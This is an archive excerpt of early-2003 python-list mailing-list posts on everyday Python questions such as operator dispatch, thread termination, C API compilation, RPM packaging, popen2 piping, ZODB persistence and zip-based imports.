From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 09:51:43 +0100
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de> <slrnb2jqiv.91m.grante@localhost.localdomain> <mailman.1042934674.24272.python-list@python.org> <slrnb2k5qs.93i.grante@localhost.localdomain> <b0e6cm$oj4ul$1@ID-71831.news.dfncis.de> <m3adhx6nj1.fsf@mira.informatik.hu-berlin.de> <1043000998.91408@yasure>
Message-ID: <m3u1g4431c.fsf@mira.informatik.hu-berlin.de>

"Donn Cave" <donn at drizzle.com> writes:

> Maybe it would help to consider why we're asking.  If the goal is to
> arrive at an explanation that resolves some potential confusions about
> how Python might work, I propose that "overloading" is a term we're
> better off without.

That might well be. I'm still not certain what the OP was asking.

> Isn't it reasonably true that operators in Python are a notational
> convenience for the same method dispatch that's conceptually used
> anywhere else?  

Not really. Some operators can't be represented in method calls,
e.g. "and" and "or", as they short-circuit evaluation of the
arguments.

> "a + b" is "a.__add__(b)".  

Not really.

>>> 3+4.0
7.0
>>> (3).__add__(4.0)
NotImplemented

The binary + may invoke all of the following: __add__, __radd__,
__coerce__. So these methods should be considered as helpers in
providing the meaning of the operator.

> The complications - a.__add__ may not exist, b.__radd__ may be called
> then, pages of code inside Python may be devoted to sorting out the
> possibilities - are just footnotes.  Tim Peter's explanation of why
> Python doesn't have overloading applies just the same to operators -
> lacking type declarations, there's still no way to spell it.

If you take overloading to mean "different behaviour depending on the
type of the arguments", then I do think there is a way to spell
it. It's just that the spelling doesn't involve the name of the
operator, but definitions of these helper methods.

Regards,
Martin



From martin at v.loewis.de  Wed Jan 15 16:52:47 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 22:52:47 +0100
Subject: Pferdemarkt.ws informiert! Newsletter 01/2003
References: <mailman.1042634067.4519.python-list@python.org> <slrn.pl.b2b49c.5oh.jzgoda@kotek.home> <mailman.1042650733.24072.python-list@python.org>
Message-ID: <m3y95maxn4.fsf@mira.informatik.hu-berlin.de>

Christian Tismer <tismer at tismer.com> writes:

> These guys managed to post into *every* Python list
> that I have!

These messages do contain an abuse header. I wonder whether reporting
the abuse would have any effect.

Regards,
Martin




From jarek at usun.gazeta.pl  Thu Jan 23 12:29:23 2003
From: jarek at usun.gazeta.pl (Jarek Zgoda)
Date: Thu, 23 Jan 2003 17:29:23 +0000 (UTC)
Subject: XSL-FO? Python FOP?
References: <mailman.1043284300.28611.python-list@python.org> <3E2F5EED.44FE643F@engcorp.com>
Message-ID: <slrn.pl.b3091u.jd.jarek@kotek.home>

Dnia Wed, 22 Jan 2003 22:18:05 -0500 piszesz:

>> Is there a XSL-FO library for Python yet (ie. like  Apache's FOP for
>> Java)?
> 
> There is definitely nothing anywhere near as advanced as FOP,
> as I've been looking for it.  

You might want to take a closer look at ReportLab Toolkit. While this
tool is not XML/XSL based, it provides roughly the same functionality.

Cheers
Jarek Zgoda



From lac at strakt.com  Fri Jan 24 07:07:41 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 24 Jan 2003 13:07:41 +0100
Subject: killing thread ? 
In-Reply-To: Message from Uwe Schmitt <uwe.schmitt@procoders.net> 
   of "24 Jan 2003 09:35:56 GMT." <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> 
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> 
Message-ID: <200301241207.h0OC7fjL027365@ratthing-b246.strakt.com>

> 
> Hi,
> 
> AFAIK there is no method in the threading module to kill a thread.
> Each thread has to terminate itself by watching status variables.
> But: what happens if I start a thread, and when I want to kill
> this thread, I delete all references to the according Thread object,
> and call the garbage collector. 
> Will this work ??

No.  You cannot stand outside your application and kill a thread.
Instead you have to arrange for your thread to receive the message
to go commit suicide (and then your thread has to know how to do
that).  If your threads are already communicating by Queues, sticking
a 'do_die' in there is often cleanest.  

<snip> 

> Greetings, Uwe.
> 
> -- 
> Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
> uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
> http://www.procoders.net           
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Laura Creighton




From imbosol at vt.edu  Sat Jan 25 15:26:26 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 25 Jan 2003 20:26:26 GMT
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com> <3e32ce04_4@corp.newsgroups.com>
Message-ID: <SpCY9.94$qb1.79@nwrddc01.gnilink.net>

Norm wrote:
> Thanks for all the replies.  I must say this.  Being relatively new to UNIX
> / Linux I find that I use pico as my main editor - why?  Emacs confuses the
> heck out of me.  Geez louise that program is like an o/s all on it's own.
> 
> vi I've never tried.
> 
> Pico is just so quick, clean and straightforward to use - I'm sure there is
> a reason why I shouldn't be!

pico is still my editor of choice when I am forced to use Windows
telnet.  (Seriously.  Unlike every other terminal-based program, it
somehow manages not to mess up the screen.)


-- 
CARL BANKS



From n17999924.temp.werner at neverbox.com  Thu Jan 30 13:15:31 2003
From: n17999924.temp.werner at neverbox.com (Werner Schiendl)
Date: Thu, 30 Jan 2003 19:15:31 +0100
Subject: HOWTO : Py_CompileString !?!?!
In-Reply-To: <OXa_9.4120$nD1.943639@news20.bellglobal.com>
References: <v4WZ9.3245$nD1.766715@news20.bellglobal.com> <mailman.1043883709.25362.python-list@python.org> <OXa_9.4120$nD1.943639@news20.bellglobal.com>
Message-ID: <oprjtrn5jgmb24ka@news>

On Thu, 30 Jan 2003 09:54:56 -0500, Luc <acid_til at yahoo.com> wrote:

Hi,

your script does not contain a syntax error.
You are calling a non-existent method, but this would not be detected until 
runtime.

So the code compiles well and will cause a runtime error (probably 
NameError excpetion).

If you want try your code for handling syntax errors in scripts, you can 
for example omit the parentheses for the function definition (or add a 
second pair like so: def test()():

This should return an error at compile time.


best regards
Werner



-- snip --

> Here is the script in question :
>
> import FOMath
> #FOMath has a method called PointValue()
> def test():
> 	print FOMath.PointdddValue()
>
> test()
>
> This should't compile because a syntax error is present...
>
> The way I compile the code from C++ is done like so :
>
> //str contains the file that just loaded...
> Py_CompileString((char*)str.c_str(), "<test.py>", Py_file_input);
>
> That's it. It's the way I tought was proper. Might be wrong, that's why I 
> posted in this group :)
>
> Cheers, Luc.
>
>






From skip at pobox.com  Thu Jan 30 10:10:00 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 30 Jan 2003 09:10:00 -0600
Subject: .pyw files
Message-ID: <15929.16456.450897.712748@montanaro.dyndns.org>

If I understand correctly, .pyw files on Windows are plain old source files,
but prevent console window popup when executed.  Do they byte compile to
.pyc files?  Or does that question not make sense?  (Is the .pyw suffix only
useful when it's the main application program, double-clicked by the user?)

Thx,

Skip





From robin at jessikat.fsnet.co.uk  Sun Jan  5 06:04:34 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 5 Jan 2003 11:04:34 +0000
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
 <mailman.1041746350.26051.python-list@python.org>
Message-ID: <QV71iWACFBG+EwC7@jessikat.fsnet.co.uk>

In article <mailman.1041746350.26051.python-list at python.org>, Tim Peters
<tim.one at comcast.net> writes
>[Robin Becker]
,......
>
>Beyond what Martin said, Cyclops can only chase pointers in objects of types
>it knows (or has been taught) about.  Objects created by extension modules
>stop it cold (they appear to be sinks), unless Cyclops is taught how to find
>and extract all the references they contain.  I understand you don't think
>extensions are relevant to your problem.
>
......
>
>I wrote Cyclops, but haven't used it since cyclic gc was added.  I don't
>know of any reason it would fail now, as the fundamentals of objects
>pointing to other objects haven't changed, and Cyclops's magic was shallow.
>
>Using 2.2.2 on Windows here, and after installing from
>
......
Well In fact I think I may have been too hasty. I removed one extension,
but another was hanging on the path somewhere else :(. After testing on
another system I see the magnitude of the problem completely reduced by
removing one of the extensions or in fact one particular method. 

Close inspection of that reveals a leak like the bottom of the Atlantic
so I guess that my problem is solved.

This has been interesting for one simple reason, there seems to be no
way to determine the total allocation when I do stupid things like throw
away refs to undecremented PyObjects. 

The python system knows about the memory, but the ordinary user can't
get at the blocks/total allocation for testing purposes. Looking in the
C code it seems there are special allocators for floats and ints, but I
assume that's because these are so frequent it makes sense to block
allocate them.

It seems strange that very few of the malloc implementations make it
easy to find total heap memory. Does the special allocator in 2.3
improve things?
-- 
Robin Becker



From akuchlin at ute.mems-exchange.org  Fri Jan  3 14:02:11 2003
From: akuchlin at ute.mems-exchange.org (A.M. Kuchling)
Date: 03 Jan 2003 19:02:11 GMT
Subject: Newbie question on Re module
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4> <Xns92F582EB0133EjslmAAearthlinknet@130.133.1.4>
Message-ID: <slrnb1bnhi.lp5.akuchlin@ute.mems-exchange.org>

In article <Xns92F582EB0133EjslmAAearthlinknet at 130.133.1.4>,
	Josh wrote:
>  I know I can match all binaries groups and then remove them from the list. 
> My question is how can I do it the other way round, meaning how can I match 
> all non binaries groups in the first place.

groups = [...big list...]
non_bin_groups = filter(lambda name: not name.endswith('binaries'),
                        groups)

Much easier than struggling with regexes... 

--amk                                                             (www.amk.ca)
SHYLOCK: Fast bind, fast find.
      -- _The Merchant of Venice_, II, v



From nbodineau at club-internet.fr  Wed Jan 15 07:56:49 2003
From: nbodineau at club-internet.fr (Natacha)
Date: 15 Jan 2003 04:56:49 -0800
Subject: Baliser un texte en Python
References: <18f9f477.0301140735.304887da@posting.google.com> <v6t82v0k2igqhceu33rs3ohnkt00q4o29k@4ax.com>
Message-ID: <18f9f477.0301150456.c1ff815@posting.google.com>

EpSyLOn <sasDOTepsylon at wanadoo.fr> wrote in message news:<v6t82v0k2igqhceu33rs3ohnkt00q4o29k at 4ax.com>...
> On 14 Jan 2003 07:35:17 -0800, nbodineau at club-internet.fr (Natacha)
> wrote:
> 
> >bonjour,
> >
> >nous aimerions savoir si Python peut baliser un texte(format .txt) en
> >format XML ou HTML.
> 
> Peut-tu donner plus de pr?cisions sur ce que tu veut faire exactement
> ?

Bonjour,
Nous voulons aligner un texte avec sa traduction et nous avons besoin
d'un
algorithme de balisage et d'un algorithme d'alignement.

Lors du balisage des deux textes, nous aimerions avoir les r?sultats
suivants(voir PJ1).

Lorsque les deux textes sont balis?s, nous aimerions les aligner
Sachant que nous d?sirons aligner ces textes par paragraphe, phrase,
mot.(voir PJ)

PJ1:
Voici un exemple de balisage sur un exemple de texte "articlefr.txt"
que nous aimerions avoir :


Texte brut :

La croissance r?elle qui ?tait d'environ 7.6% par an durant les ann?es
70 en terme de volume de ventes ?tait tomb?e ? 3,1% durant les ann?es
80.

Ces deux derni?res ann?es, une baisse de la valeur du march? est
encore venue confirmer ce recul. En 1992, la consommation mondiale de
produits agrochimiques n'a g?n?r? que 25,2 millions de dollars soit
une baisse de 6% par rapport au chiffre d'affaires record enregistr?
en 1991, 26,8 millions de dollars.


Texte balis? (en XML):

< ?xml version= "1.0 "encoding= "UTF-8 " ?>
< !DOCTYPE BASE SYSTEM'Base.dtd'>
	<body>
		<p id= "p1 ">
			La croissance r?elle qui ?tait d'environ 7.6% par an durant les
ann?es 70 en terme de volume de ventes ?tait tomb?e ? 3,1% durant les
ann?es 80.	< /s>
		</p>
		<p id= "p2 " >
			Ces deux derni?res ann?es, une baisse de la valeur du march? est
encore venue confirmer ce recul. En 1992, la consommation mondiale de
produits agrochimiques n'a g?n?r? que 25,2 millions de dollars soit
une baisse de 6% par rapport au chiffre d'affaires record enregistr?
en 1991, 26,8 millions de dollars.
		</p>
	</body>
</xml>



PJ2:

R?sultat de l'alignement des fichiers "articlefr.txt" et
"articleen.txt" par phrase:

La croissance r?elle qui ?tait d'environ 7.6% par an durant les ann?es
70 en terme de volume de ventes ?tait tomb?e ? 3,1% durant les ann?es
80.
During the 1970s, real growth, measured by sales value, was about 7,6%
per annum.
1-1

Ces deux derni?res ann?es, une baisse de la valeur du march? est
encore venue confirmer ce recul. En 1992, la consommation mondiale de
produits agrochimiques n'a g?n?r? que 25,2 millions de dollars soit
une baisse de 6% par rapport au chiffre d'affaires record enregistr?
en 1991, 26,8 millions de dollars.
By the 1980s, this growth has slowed to 3,1% per annum and in the past
two years the market has experienced a real decline in value.In 1992,
the global end-user agrochemical market was valued at $25,200M, a 6%
decrease from the $26,800M recorded in 1991.
2-2

En donn?es corrig?es des fluctuations des taux de change et de
l'inflation, la baisse est de 5,1%, contre 2% en 1991.
When the effects of exchange rate movements and inflation are removed,
the global market experienced a decline of 5,1% in comparison with the
previous year.
1-1

Globalement, en Europe Occidental, le march? a accus? une baisse de
18% en 1992 pour tomber ? 6800 millions de dollars.
This compares with a 2% drop during 1991.Overall, the West European
market declined by over 18% in 1992 to reach just under $6800M.
1-2

La consolidation et le d?stockage des cha?nes de distribution ?
l'int?rieur de la CE a ?t? l'un des faits marquants du march? en 1992,
particuli?rement en Allemagne et en France.
Consolidation and destocking of the distribution chain was a factor of
the EC markets in 1992, particularly in Germany and France.
1-1

Cette tendance devrait se poursuivre.
This is likely to continue.
1-1

Au Royaume Uni, beaucoup de ces changements ont d?j? pris effets.
In the UK, it is believed that much of this consolidation has already
occured.
1-1

Si l'on ajoute ? cela, la d?valuation de la livre fin 1992 (et ses
r?percussions sur les prix des productions en provenance de Grande
Bretagne sur le march? europ?en), nous sommes en droit de penser que
le march? britannique ne sera pas aussi s?v?rement touch? que d'autres
march?s de la communaut?.
Coupled with the devaluation of the pound at the end of 1992 (and the
knock-on effect this had on the prices the UK receives for crops in
the EC), this suggests that the UK market will not be so greatly
affected as others in the EC.
1-1



From mwh at python.net  Tue Jan 14 06:10:37 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 11:10:37 GMT
Subject: Python vs Java garbage collection?
References: <kpofua.5g2.ln@anto.cuni.lan> <RI7P9.82239$pe.2817565@news2.east.cox.net> <7iu1gyd3x2.fsf@enark.csis.hku.hk> <PZPP9.92273$pe.3378886@news2.east.cox.net> <7i4r8wccej.fsf@enark.csis.hku.hk> <mailman.1041254965.29220.python-list@python.org> <Pine.GSO.4.44_heb2.09.0301062050360.27086-100000@techunix.technion.ac.il>
Message-ID: <7h3u1gcrnos.fsf@pc150.maths.bris.ac.uk>

Beni Cherniavsky <cben at techunix.technion.ac.il> writes:

> On 2002-12-30, holger krekel wrote:
> > ok, that's enough for now.i couldn't hold myself telling you about
> > this fun project :-) It's actually motivated by recent discussions here
> > on c.l.py and a suggestion of Michael Hudson (who aims to provide a
> > new 'with' keyword achieving a significant subset of my goals).

Hey, cool!

Cheers,
M.
who has been too busy snowboarding to read c.l.py :)

-- 
  A witty saying proves nothing.                           -- Voltaire



From victor at argilent.com  Mon Jan 20 23:44:41 2003
From: victor at argilent.com (Victor)
Date: Mon, 20 Jan 2003 23:44:41 -0500
Subject: python + wxPython
In-Reply-To: <mO3X9.460$k43.91047@news.uswest.net>
Message-ID: <000501c2c107$d08fc4d0$237b7018@JUMPY>

K thanks!

-----Original Message-----
From: python-list-admin at python.org [mailto:python-list-admin at python.org]
On Behalf Of Kevin Altis
Sent: Monday, January 20, 2003 11:15 PM
To: python-list at python.org
Subject: Re: python + wxPython

You don't want to uninstall Python. wxPython is a package and it will
get
installed in the Python site-packages directory. The only thing you need
to
make sure of is that your version of Python and wxPython match, so if
you
are using Python 2.2, you want the wxPython 2.4.0.1 for Py22.

ka

"Victor" <victor at argilent.com> wrote in message
news:mailman.1043118157.17497.python-list at python.org...
> I have intalled the regular python distribution for windows, but I
want
> to try out pyCrust, and it comes with wxPython, do I have to uninstall
> python and then install wxpython? If I install wxpython over the
regular
> python will there be problems?
>
> - Vic


-- 
http://mail.python.org/mailman/listinfo/python-list

______________________________________________________________________ 
Post your free ad now! http://personals.yahoo.ca




From devrim at machsim.com  Tue Jan 21 07:43:17 2003
From: devrim at machsim.com (Devrim Erdem)
Date: 21 Jan 2003 04:43:17 -0800
Subject: Creating RPM fails on Python 2.2 Release 1 and RPM version 3.0.6
Message-ID: <b2f253f2.0301210443.3bc1f25f@posting.google.com>

Hello,

I have downloaded Python 2.2.2 and compiled. It works ok and I can run
my previously running scripts.

I have tried to build RPMS with the command : 

./python setup.py bdist_rp

however, I get the following error :

line 6: Tag takes single token only: Name: Python standard library

The complete log is as follows :
<log>

muh|devrim>25: ./python setup.py bdist_rpm
running bdist_rpm
writing 'build/bdist.linux-i686/rpm/SPECS/Python standard
library.spec'
running sdist
warning: sdist: missing required meta-data: url
warning: sdist: missing meta-data: either (author and author_email) or
(maintainer and maintainer_email) must be supplied
reading manifest file 'MANIFEST'
creating Python standard library-2.2
making hard links in Python standard library-2.2...
hard linking README -> Python standard library-2.2
hard linking setup.py -> Python standard library-2.2
warning: sdist: 'structmodule.c' not a regular file -- skipping
tar -cf dist/Python standard library-2.2.tar Python standard
library-2.2
gzip -f9 dist/Python standard library-2.2.tar
removing 'Python standard library-2.2' (and everything under it)
copying dist/Python standard library-2.2.tar.gz ->
build/bdist.linux-i686/rpm/SOURCES
building RPMs
rpm -ba --define _topdir
/home/devrim/Files/Python/Python-2.2.2/build/bdist.linux-i686/rpm
--clean build/bdist.linux-i686/rpm/SPECS/Python standard library.spec
line 6: Tag takes single token only: Name: Python standard library
error: command 'rpm' failed with exit status 1


</log>


Any hints are appreciated. Thanks.



From morden at shadows.net  Wed Jan 22 15:19:50 2003
From: morden at shadows.net (morden)
Date: Wed, 22 Jan 2003 12:19:50 -0800
Subject: Communication between two programs on unix
In-Reply-To: <b0kvs0$o59$1@bob.news.rcn.net>
References: <b0kvs0$o59$1@bob.news.rcn.net> <x73cnl2hn8.fsf@guru.mired.org>
Message-ID: <b0mod6$m6a$1@bob.news.rcn.net>

Mike Meyer wrote:

> [Formatting fixed.]
>
> morden  writes:
>
>
> >I want to connect the standard output of the tkinter app to the
> >stdin of the motif app to return results and connect stdout of motif
> >app to the input of the tkinter app. Is that doable? I suppose this
> >is what os.popen will do. Right?
>
>
> Yes, it's doable. No, that's not what os.popen does. popen returns a
> file object that communications with the standard input OR ouput of
> the command, but not both.
>
> To get both, you want to use popen2, or maybe popen3 or popen4,
> depending on what should happen to standard error.

I don't care about stderr. popen2 will probably do. I found an example
in python cookbook. Thank you.

>
>
> >Scenario #1: I run my tkinter program with no flags and it
> >	popens motif app it should communicate with
> >
> >Scenario #2: I connect to a remote system using 'cu' from uucp package
> >	and run a unix app there communicating to my tkinter app spawned
> >	with ~+ sequence in cu (that's what you use to run rz/sz over
> >cu session, right?)
> >
> >
> >Scenario #3: I use ssh to get into a remote system and run a unix
> >app there. I have the following question about this scenario: How
> >would I connect input of the tkinter program to the output of the
> >motif app and vice versa in this case? Is there any way to tell ssh
> >client to do this or I would have to modify my apps to have support
> >for ssl/tls?
>
>
> Others have suggested netcat. You can use that and ssh port forwarding
> to do this.
>
> This all seems incredibly kludgy. You want to tell us why you want
> this, and possibly we can come up with a better all-around solution?
>       

I want the communication to work over cu session because some of our
customers live in stone age and don't have Internet connection.
So I want to run gui locally and eventually throw out Motif and move
all the gui into Tkinter. For now I'm just moving modal dialogs
into Tkinter.
The reason to dump Motif is because the lib we use on top of it (Zinc 
4.0) seems pretty buggy and Tk is pretty stable compared to it.




From shalehperry at attbi.com  Mon Jan 27 20:55:51 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Mon, 27 Jan 2003 17:55:51 -0800
Subject: sort by last then by first
In-Reply-To: <1964c4d7.0301271648.18dba0b3@posting.google.com>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com>
Message-ID: <200301271755.51910.shalehperry@attbi.com>

On Monday 27 January 2003 16:48, Brian Kranson wrote:
> is is possible to sort a list by one field and then by another field
> in the list.  for example....
>
> but what i don't know is if this will always work.  seems like the
> sort is what i am looking for, but i can't tell if it is by chance or
> if my logic is correct.
> i want to sort by last name then by first name.
>

the sort() method can be given a sorter function.  This function is defined in 
the reference docs and essentially acts like the C language strcmp().




From blaylock at indiana.edu  Thu Jan 23 09:42:46 2003
From: blaylock at indiana.edu (Joseph Blaylock)
Date: Thu, 23 Jan 2003 09:42:46 -0500 (EST)
Subject: Sound programming: Tone production in Python?
In-Reply-To: <55550000.1043280564@localhost.localdomain>
Message-ID: <Pine.SO4.4.44.0301230935540.6561-100000@jalapeno.ucs.indiana.edu>

On Thu, 23 Jan 2003, Andrew McGregor wrote:

> sndarray just gives you a way to access raw sample data.  If you want to
> make tones, calculate a sine wave with the right period, amplitude and
> zero-offset (which will depend on the output format and sample rate), and
> use sndarray to play it.

    Could you give me an example, perhaps, of how this might be accomplished?

> It would help to know better what you want to do, as messing with audio can
> pretty quickly get out of python's performance envelope.  As such, you
> might be better sticking to controlling something external (like a
> softsynth).

    Specifically what I want to do is emulate the behavior of BeOS's
    SineClock, the homepage for which (and a description of which) can be
    found at: http://music.calarts.edu/~glmrboy/SineClock.html

    It plays six channels, three of which are at 200, 300, and 450 hertz, and
    the other three of which are detuned slightly (between 0 and 5 hertz)
    based on the time.

        Joe

-- 
Joseph Blaylock, UITS SC SysAdmin
blaylock at indiana.edu     855-5772





From tismer at tismer.com  Fri Jan 31 11:47:04 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 31 Jan 2003 17:47:04 +0100
Subject: Implicit lists
In-Reply-To: <of5x8hdd.fsf@python.net>
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it> <mailman.1044024304.31027.python-list@python.org> <of5x8hdd.fsf@python.net>
Message-ID: <3E3AA888.2040808@tismer.com>

Thomas Heller wrote:
> Christian Tismer <tismer at tismer.com> writes:

[iscontainer implementation using buffer interface]

>>I'm (ab)using the fact that sequences which are
>>no containers usually support the buffer interface.

> This is worse, IMO.
> 
> ctypes' instances support the buffer interface, whether
> they are sequences (or containers) or not.

After second thought, this is not worse, but great!
Nobody wants to see ctypes instances to be
used as containers for multiple arguments.
This is the domain of relatives of lists and tuples
and other, "plain Python" types.

Is there an object in ctypes which is meant as
a candidate for this domain? If not, then the
buffer approach is not so bad.
A buffer means something to access the interior
of an object, which means that the object has
some flat memory somewhere. If you support
buffer, I think you say you are not a container.
Even if this is cheating, I'd take this as honest
and won't take you as a parameter list. :-)

ciao - chris





From mwh at python.net  Tue Jan 14 06:59:41 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 11:59:41 GMT
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042403841.24976.python-list@python.org> <7x8yxqxeav.fsf@ruckus.brouhaha.com>
Message-ID: <7h3ptr0rlf0.fsf@pc150.maths.bris.ac.uk>

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> writes:

> Seems simple enough to add a new code that combines the two?  That
> would avoid breaking old compiled code.

Non-goal: code compiled for any of 1.5.X, 1.6.X, 2.0.X, 2.1.X, 2.2.X
and 2.3.X will not work with any of the others.  This probably extends
backwards, and will most likely extend forwards too.

Cheers,
M.

-- 
 "Sturgeon's Law (90% of everything is crap) applies to Usenet."
 "Nothing guarantees that the 10% isn't crap, too."
                -- Gene Spafford's Axiom #2 of Usenet, and a corollary



From dickerc6 at hotmail.com  Tue Jan 28 17:29:39 2003
From: dickerc6 at hotmail.com (pedro alvarez)
Date: 28 Jan 2003 14:29:39 -0800
Subject: php frontend, python backend
Message-ID: <bfac4f24.0301281429.6783ab5a@posting.google.com>

My webhost accept php but not python, but i want to use python with
mysql for my website. So i want know if its possible to have php as
frontend, and backend logic in python, and how to do that?
I dont want to use too much php code, because it is crap and messy.
Thanks



From andrew-pythonlist at puzzling.org  Wed Jan 15 23:37:07 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 16 Jan 2003 15:37:07 +1100
Subject: Mixing Python and C: any easy way?
In-Reply-To: <CFN376368443311343@news.mindspring.com>
References: <CFN376368443311343@news.mindspring.com>
Message-ID: <20030116043707.GA1495@frobozz.local>

On Wed, Jan 15, 2003 at 08:15:50PM -0800, Carl Bevil wrote:
> 
> Am I overreacting here?  And is there a better way to do this?  If not SWIG, 
> then what can do this task?  Am I asking for the impossible?  I've heard that 
> Python is supposed to be good at interfacing with C/C++.  Can someone give me 
> some pointers that will help me out here?

You might like Pyrex: http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/

-Andrew.





From zopestoller at thomas-guettler.de  Thu Jan  9 04:38:00 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Thu, 09 Jan 2003 10:38:00 +0100
Subject: ZODB: don't like self._p_changed
Message-ID: <avjfop$tmb$00$1@news.t-online.com>

Hi!

I like ZODB very much. With it I don't need to
squeeze my application into database tables.

Unfortunately you need to set self._p_changed=1
if you change a list of the object.

Example:
self.my_list.append("foo")
self._p_changed=1 # This is needed

Will this disappear in the future?

  thomas




From jlh at cox.net  Wed Jan 15 23:05:51 2003
From: jlh at cox.net (Jeff Hinrichs)
Date: Thu, 16 Jan 2003 04:05:51 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com>        <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042684109.16197.python-list@python.org>
Message-ID: <zcqV9.4009$qU2.2318@news1.central.cox.net>

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1042684109.16197.python-list at python.org...
>
>     >> If/elif/else remains the most common method.  If Python ever gains
>     >> something like a switch statement you can bet the farm it won't
have
>     >> a "fall thru" feature though, so the way you've coded your C switch
>     >> statement wouldn't work.
>
>     Steven> but the absolute /only/ reason you'd use a switch over an if
>     Steven> (besides looking better) is fall through.
>
> Well, there is the efficiency aspect.  Take a look at eval_frame in
Python's
> ceval.c.  It's main switch statement has 109 case labels.  Since switch is
> implemented as essentially a computed goto, you can get to any branch in
the
> same amount of time.  With if/then/else you'd have to be very careful to
get
> your options in the right order.
+1 on switch, +1 on no fall-through
-Jeff





From notspecified at dev.null  Fri Jan 24 13:42:44 2003
From: notspecified at dev.null (Matt Feinstein)
Date: Fri, 24 Jan 2003 18:42:44 GMT
Subject: Python vs. Matlab
References: <mailman.1043278960.29140.python-list@python.org> <3e3033c9.22749461@aplnews> <xqx4r7ybjax.fsf@cola2.ca.boeing.com>
Message-ID: <3e318640.22943240@aplnews>

On Fri, 24 Jan 2003 16:32:06 GMT, Harry George
<hgg9140 at cola2.ca.boeing.com> wrote:

>notspecified at dev.null (Matt Feinstein) writes:
...
>> I would not bother with trying to get Python to do the things that
>> Matlab does well. I would be interested in leveraging Python's strong
>> points in a way that would help to overcome bad parts of Matlab.
>> 
>Would you use python with the bindings to Numeric, Scientific, or GSL?
>Do these eat further into Matlab turf than raw Python?
>

My experience is that the place where help is needed is in specifying
sets of initializing and boundary conditions & interfaces for
computations rather than in actually doing the number crunching. This
is particularly true for big computations-- A well-designed Python
specify-the-computation library would (I suspect) allow a far clearer
and more flexible interface to a desired 'computation matrix' than
Matlab ever could.

Matt Feinstein    does not include his email address
                  in the text of usenet postings.
--------
Harvard Law of Automotive Repair: Anything that goes away
by itself will come back by itself.



From nightdriver at bolt.com  Tue Jan 28 11:35:27 2003
From: nightdriver at bolt.com (nightdriver)
Date: 28 Jan 2003 08:35:27 -0800
Subject: mingc.pyd
Message-ID: <d2810a8.0301280835.f920c7d@posting.google.com>

Hi there,
i am in search of a mingc.pyd for the latest windows release of phyton
anybody can point me to url that contain this (or send it to me).

Please help me i've searched to compile the module by myself but under
windows compile with gcc/mingw32 is UGLY.

Thanks,
nightdrv



From art at wiktorsadowski.com  Sun Jan 12 19:42:42 2003
From: art at wiktorsadowski.com (Wiktor Sadowski)
Date: Mon, 13 Jan 2003 01:42:42 +0100
Subject: PIL in zip
Message-ID: <00cb01c2ba9c$aef743a0$0201010a@wiktor>

I am working on a Python C-extension which will enable importing modules
from zip files.It's totally different from what you will get with Python 2.3,
no zipfiles on sys.path , no strange paths like "path/to/zip/file.zip/dir/amodule".
Easy acces to data in zip files: 
data = open("c:\Python22\Lib\Images\image.gif").read() 
will work if a zip file with "Images\image.gif" was "mounted-registered" as Lib directory.
More details and windows binary-dll for Python 2.2, really soon.  

One question before I release a beta version:
With the extension all directories/subdirectories in zip files are enabled by default-
as packages-subpackages or simply as containers of modules
(means:all modules within directory are importable).
But: should I support directories that are at the same time packages 
and non-packages , like PIL  where both: 
"from PIL import Image" and "import Image" will import Image module ?

Wiktor Sadowski
-------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030113/260b3bde/attachment.html>

From LogiplexSoftware at earthlink.net  Thu Jan  9 12:59:18 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 09 Jan 2003 09:59:18 -0800
Subject: Mail<->News gateway [was Re: Do pythons like sugar?]
In-Reply-To: <6h8r1vkl2qfe8e99dvn5n3lmphngrar2h2@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
	 <6h8r1vkl2qfe8e99dvn5n3lmphngrar2h2@4ax.com>
Message-ID: <1042135157.23487.1135.camel@software1.logiplex.internal>

On Thu, 2003-01-09 at 08:21, Afanasiy wrote:

> Just had to have one more reply. I did say "try"... anyway...
